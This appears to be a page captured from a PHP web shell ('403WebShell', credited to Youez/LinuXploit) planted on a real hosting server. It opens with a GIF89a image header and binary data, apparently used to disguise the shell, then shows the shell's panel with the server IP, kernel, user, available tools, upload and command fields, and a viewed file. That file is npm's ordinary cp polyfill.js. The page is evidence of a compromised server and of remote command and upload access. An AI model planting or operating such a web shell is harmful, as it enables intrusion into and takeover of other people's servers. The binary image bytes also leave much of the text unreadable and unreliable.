GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-nodejs20/root/usr/lib/node_modules/npm/node_modules/@npmcli/fs/lib/cp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/alt/alt-nodejs20/root/usr/lib/node_modules/npm/node_modules/@npmcli/fs/lib/cp/polyfill.js
// this file is a modified version of the code in node 17.2.0
// which is, in turn, a modified version of the fs-extra module on npm
// node core changes:
// - Use of the assert module has been replaced with core's error system.
// - All code related to the glob dependency has been removed.
// - Bring your own custom fs module is not currently supported.
// - Some basic code cleanup.
// changes here:
// - remove all callback related code
// - drop sync support
// - change assertions back to non-internal methods (see options.js)
// - throws ENOTDIR when rmdir gets an ENOENT for a path that exists in Windows
'use strict'

const {
  ERR_FS_CP_DIR_TO_NON_DIR,
  ERR_FS_CP_EEXIST,
  ERR_FS_CP_EINVAL,
  ERR_FS_CP_FIFO_PIPE,
  ERR_FS_CP_NON_DIR_TO_DIR,
  ERR_FS_CP_SOCKET,
  ERR_FS_CP_SYMLINK_TO_SUBDIRECTORY,
  ERR_FS_CP_UNKNOWN,
  ERR_FS_EISDIR,
  ERR_INVALID_ARG_TYPE,
} = require('./errors.js')
const {
  constants: {
    errno: {
      EEXIST,
      EISDIR,
      EINVAL,
      ENOTDIR,
    },
  },
} = require('os')
const {
  chmod,
  copyFile,
  lstat,
  mkdir,
  readdir,
  readlink,
  stat,
  symlink,
  unlink,
  utimes,
} = require('fs/promises')
const {
  dirname,
  isAbsolute,
  join,
  parse,
  resolve,
  sep,
  toNamespacedPath,
} = require('path')
const { fileURLToPath } = require('url')

const defaultOptions = {
  dereference: false,
  errorOnExist: false,
  filter: undefined,
  force: true,
  preserveTimestamps: false,
  recursive: false,
}

async function cp (src, dest, opts) {
  if (opts != null && typeof opts !== 'object') {
    throw new ERR_INVALID_ARG_TYPE('options', ['Object'], opts)
  }
  return cpFn(
    toNamespacedPath(getValidatedPath(src)),
    toNamespacedPath(getValidatedPath(dest)),
    { ...defaultOptions, ...opts })
}

function getValidatedPath (fileURLOrPath) {
  const path = fileURLOrPath != null && fileURLOrPath.href
      && fileURLOrPath.origin
    ? fileURLToPath(fileURLOrPath)
    : fileURLOrPath
  return path
}

async function cpFn (src, dest, opts) {
  // Warn about using preserveTimestamps on 32-bit node
  // istanbul ignore next
  if (opts.preserveTimestamps && process.arch === 'ia32') {
    const warning = 'Using the preserveTimestamps option in 32-bit ' +
      'node is not recommended'
    process.emitWarning(warning, 'TimestampPrecisionWarning')
  }
  const stats = await checkPaths(src, dest, opts)
  const { srcStat, destStat } = stats
  await checkParentPaths(src, srcStat, dest)
  if (opts.filter) {
    return handleFilter(checkParentDir, destStat, src, dest, opts)
  }
  return checkParentDir(destStat, src, dest, opts)
}

async function checkPaths (src, dest, opts) {
  const { 0: srcStat, 1: destStat } = await getStats(src, dest, opts)
  if (destStat) {
    if (areIdentical(srcStat, destStat)) {
      throw new ERR_FS_CP_EINVAL({
        message: 'src and dest cannot be the same',
        path: dest,
        syscall: 'cp',
        errno: EINVAL,
      })
    }
    if (srcStat.isDirectory() && !destStat.isDirectory()) {
      throw new ERR_FS_CP_DIR_TO_NON_DIR({
        message: `cannot overwrite directory ${src} ` +
            `with non-directory ${dest}`,
        path: dest,
        syscall: 'cp',
        errno: EISDIR,
      })
    }
    if (!srcStat.isDirectory() && destStat.isDirectory()) {
      throw new ERR_FS_CP_NON_DIR_TO_DIR({
        message: `cannot overwrite non-directory ${src} ` +
            `with directory ${dest}`,
        path: dest,
        syscall: 'cp',
        errno: ENOTDIR,
      })
    }
  }

  if (srcStat.isDirectory() && isSrcSubdir(src, dest)) {
    throw new ERR_FS_CP_EINVAL({
      message: `cannot copy ${src} to a subdirectory of self ${dest}`,
      path: dest,
      syscall: 'cp',
      errno: EINVAL,
    })
  }
  return { srcStat, destStat }
}

function areIdentical (srcStat, destStat) {
  return destStat.ino && destStat.dev && destStat.ino === srcStat.ino &&
    destStat.dev === srcStat.dev
}

function getStats (src, dest, opts) {
  const statFunc = opts.dereference ?
    (file) => stat(file, { bigint: true }) :
    (file) => lstat(file, { bigint: true })
  return Promise.all([
    statFunc(src),
    statFunc(dest).catch((err) => {
      // istanbul ignore next: unsure how to cover.
      if (err.code === 'ENOENT') {
        return null
      }
      // istanbul ignore next: unsure how to cover.
      throw err
    }),
  ])
}

async function checkParentDir (destStat, src, dest, opts) {
  const destParent = dirname(dest)
  const dirExists = await pathExists(destParent)
  if (dirExists) {
    return getStatsForCopy(destStat, src, dest, opts)
  }
  await mkdir(destParent, { recursive: true })
  return getStatsForCopy(destStat, src, dest, opts)
}

function pathExists (dest) {
  return stat(dest).then(
    () => true,
    // istanbul ignore next: not sure when this would occur
    (err) => (err.code === 'ENOENT' ? false : Promise.reject(err)))
}

// Recursively check if dest parent is a subdirectory of src.
// It works for all file types including symlinks since it
// checks the src and dest inodes. It starts from the deepest
// parent and stops once it reaches the src parent or the root path.
async function checkParentPaths (src, srcStat, dest) {
  const srcParent = resolve(dirname(src))
  const destParent = resolve(dirname(dest))
  if (destParent === srcParent || destParent === parse(destParent).root) {
    return
  }
  let destStat
  try {
    destStat = await stat(destParent, { bigint: true })
  } catch (err) {
    // istanbul ignore else: not sure when this would occur
    if (err.code === 'ENOENT') {
      return
    }
    // istanbul ignore next: not sure when this would occur
    throw err
  }
  if (areIdentical(srcStat, destStat)) {
    throw new ERR_FS_CP_EINVAL({
      message: `cannot copy ${src} to a subdirectory of self ${dest}`,
      path: dest,
      syscall: 'cp',
      errno: EINVAL,
    })
  }
  return checkParentPaths(src, srcStat, destParent)
}

const normalizePathToArray = (path) =>
  resolve(path).split(sep).filter(Boolean)

// Return true if dest is a subdir of src, otherwise false.
// It only checks the path strings.
function isSrcSubdir (src, dest) {
  const srcArr = normalizePathToArray(src)
  const destArr = normalizePathToArray(dest)
  return srcArr.every((cur, i) => destArr[i] === cur)
}

async function handleFilter (onInclude, destStat, src, dest, opts, cb) {
  const include = await opts.filter(src, dest)
  if (include) {
    return onInclude(destStat, src, dest, opts, cb)
  }
}

function startCopy (destStat, src, dest, opts) {
  if (opts.filter) {
    return handleFilter(getStatsForCopy, destStat, src, dest, opts)
  }
  return getStatsForCopy(destStat, src, dest, opts)
}

async function getStatsForCopy (destStat, src, dest, opts) {
  const statFn = opts.dereference ? stat : lstat
  const srcStat = await statFn(src)
  // istanbul ignore else: can't portably test FIFO
  if (srcStat.isDirectory() && opts.recursive) {
    return onDir(srcStat, destStat, src, dest, opts)
  } else if (srcStat.isDirectory()) {
    throw new ERR_FS_EISDIR({
      message: `${src} is a directory (not copied)`,
      path: src,
      syscall: 'cp',
      errno: EINVAL,
    })
  } else if (srcStat.isFile() ||
            srcStat.isCharacterDevice() ||
            srcStat.isBlockDevice()) {
    return onFile(srcStat, destStat, src, dest, opts)
  } else if (srcStat.isSymbolicLink()) {
    return onLink(destStat, src, dest)
  } else if (srcStat.isSocket()) {
    throw new ERR_FS_CP_SOCKET({
      message: `cannot copy a socket file: ${dest}`,
      path: dest,
      syscall: 'cp',
      errno: EINVAL,
    })
  } else if (srcStat.isFIFO()) {
    throw new ERR_FS_CP_FIFO_PIPE({
      message: `cannot copy a FIFO pipe: ${dest}`,
      path: dest,
      syscall: 'cp',
      errno: EINVAL,
    })
  }
  // istanbul ignore next: should be unreachable
  throw new ERR_FS_CP_UNKNOWN({
    message: `cannot copy an unknown file type: ${dest}`,
    path: dest,
    syscall: 'cp',
    errno: EINVAL,
  })
}

function onFile (srcStat, destStat, src, dest, opts) {
  if (!destStat) {
    return _copyFile(srcStat, src, dest, opts)
  }
  return mayCopyFile(srcStat, src, dest, opts)
}

async function mayCopyFile (srcStat, src, dest, opts) {
  if (opts.force) {
    await unlink(dest)
    return _copyFile(srcStat, src, dest, opts)
  } else if (opts.errorOnExist) {
    throw new ERR_FS_CP_EEXIST({
      message: `${dest} already exists`,
      path: dest,
      syscall: 'cp',
      errno: EEXIST,
    })
  }
}

async function _copyFile (srcStat, src, dest, opts) {
  await copyFile(src, dest)
  if (opts.preserveTimestamps) {
    return handleTimestampsAndMode(srcStat.mode, src, dest)
  }
  return setDestMode(dest, srcStat.mode)
}

async function handleTimestampsAndMode (srcMode, src, dest) {
  // Make sure the file is writable before setting the timestamp
  // otherwise open fails with EPERM when invoked with 'r+'
  // (through utimes call)
  if (fileIsNotWritable(srcMode)) {
    await makeFileWritable(dest, srcMode)
    return setDestTimestampsAndMode(srcMode, src, dest)
  }
  return setDestTimestampsAndMode(srcMode, src, dest)
}

function fileIsNotWritable (srcMode) {
  return (srcMode & 0o200) === 0
}

function makeFileWritable (dest, srcMode) {
  return setDestMode(dest, srcMode | 0o200)
}

async function setDestTimestampsAndMode (srcMode, src, dest) {
  await setDestTimestamps(src, dest)
  return setDestMode(dest, srcMode)
}

function setDestMode (dest, srcMode) {
  return chmod(dest, srcMode)
}

async function setDestTimestamps (src, dest) {
  // The initial srcStat.atime cannot be trusted
  // because it is modified by the read(2) system call
  // (See https://nodejs.org/api/fs.html#fs_stat_time_values)
  const updatedSrcStat = await stat(src)
  return utimes(dest, updatedSrcStat.atime, updatedSrcStat.mtime)
}

function onDir (srcStat, destStat, src, dest, opts) {
  if (!destStat) {
    return mkDirAndCopy(srcStat.mode, src, dest, opts)
  }
  return copyDir(src, dest, opts)
}

async function mkDirAndCopy (srcMode, src, dest, opts) {
  await mkdir(dest)
  await copyDir(src, dest, opts)
  return setDestMode(dest, srcMode)
}

async function copyDir (src, dest, opts) {
  const dir = await readdir(src)
  for (let i = 0; i < dir.length; i++) {
    const item = dir[i]
    const srcItem = join(src, item)
    const destItem = join(dest, item)
    const { destStat } = await checkPaths(srcItem, destItem, opts)
    await startCopy(destStat, srcItem, destItem, opts)
  }
}

async function onLink (destStat, src, dest) {
  let resolvedSrc = await readlink(src)
  if (!isAbsolute(resolvedSrc)) {
    resolvedSrc = resolve(dirname(src), resolvedSrc)
  }
  if (!destStat) {
    return symlink(resolvedSrc, dest)
  }
  let resolvedDest
  try {
    resolvedDest = await readlink(dest)
  } catch (err) {
    // Dest exists and is a regular file or directory,
    // Windows may throw UNKNOWN error. If dest already exists,
    // fs throws error anyway, so no need to guard against it here.
    // istanbul ignore next: can only test on windows
    if (err.code === 'EINVAL' || err.code === 'UNKNOWN') {
      return symlink(resolvedSrc, dest)
    }
    // istanbul ignore next: should not be possible
    throw err
  }
  if (!isAbsolute(resolvedDest)) {
    resolvedDest = resolve(dirname(dest), resolvedDest)
  }
  if (isSrcSubdir(resolvedSrc, resolvedDest)) {
    throw new ERR_FS_CP_EINVAL({
      message: `cannot copy ${resolvedSrc} to a subdirectory of self ` +
            `${resolvedDest}`,
      path: dest,
      syscall: 'cp',
      errno: EINVAL,
    })
  }
  // Do not copy if src is a subdir of dest since unlinking
  // dest in this case would result in removing src contents
  // and therefore a broken symlink would be created.
  const srcStat = await stat(src)
  if (srcStat.isDirectory() && isSrcSubdir(resolvedDest, resolvedSrc)) {
    throw new ERR_FS_CP_SYMLINK_TO_SUBDIRECTORY({
      message: `cannot overwrite ${resolvedDest} with ${resolvedSrc}`,
      path: dest,
      syscall: 'cp',
      errno: EINVAL,
    })
  }
  return copyLink(resolvedSrc, dest)
}

async function copyLink (resolvedSrc, dest) {
  await unlink(dest)
  return symlink(resolvedSrc, dest)
}

module.exports = cp

Youez - 2016 - github.com/yon3zu
LinuXploit